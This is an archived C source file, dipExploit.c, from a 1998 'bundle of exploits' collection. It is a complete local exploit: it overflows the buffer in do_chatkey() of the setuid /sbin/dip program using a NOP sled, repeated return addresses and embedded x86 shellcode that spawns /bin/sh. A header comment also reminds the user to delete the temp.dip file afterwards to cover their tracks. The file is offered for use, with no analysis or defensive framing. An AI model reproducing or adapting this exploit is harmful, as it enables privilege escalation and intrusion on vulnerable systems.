home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / dipExploit.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  48 lines

  1. /*
  2. justa note.. dont forget to erase the temp.dip file when you run this exploit.
  3.  
  4.  dip-exploit.c - overruns the buffer in do_chatkey() to give a shell 
  5. */
  6.  
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <fcntl.h>
  11. #include <sys/stat.h>
  12.  
  13. #define PATH_DIP "/sbin/dip"
  14.  
  15. u_char shell[] = /* courtesy of avalon  ;) */
  16. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  17. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  18. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  19.  
  20. u_long esp() { __asm__("movl %esp, %eax"); }
  21.  
  22. main()
  23. {
  24.   u_char buf[1024];
  25.   u_long addr;
  26.   int i, f;
  27.  
  28.   strcpy(buf, "chatkey ");
  29.   addr = esp() - 192;
  30.   for (i=8; i<128+16; i+=4)
  31.     *((u_long *) (buf+i)) = addr;
  32.   for (i=128+16; i<512; i++)
  33.     buf[i] = 0x90;
  34.   for (i=0; i<strlen(shell); i++)
  35.     buf[512+i] = shell[i];
  36.   buf[512+i] = '\n';
  37.  
  38.   if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
  39.     perror("temp.dip");
  40.     exit(0);
  41.   }
  42.   write(f, buf, 512+i);
  43.   close(f);
  44.  
  45.   execl(PATH_DIP, "dip", "temp.dip", (char *)0);
  46. }
  47.  
  48.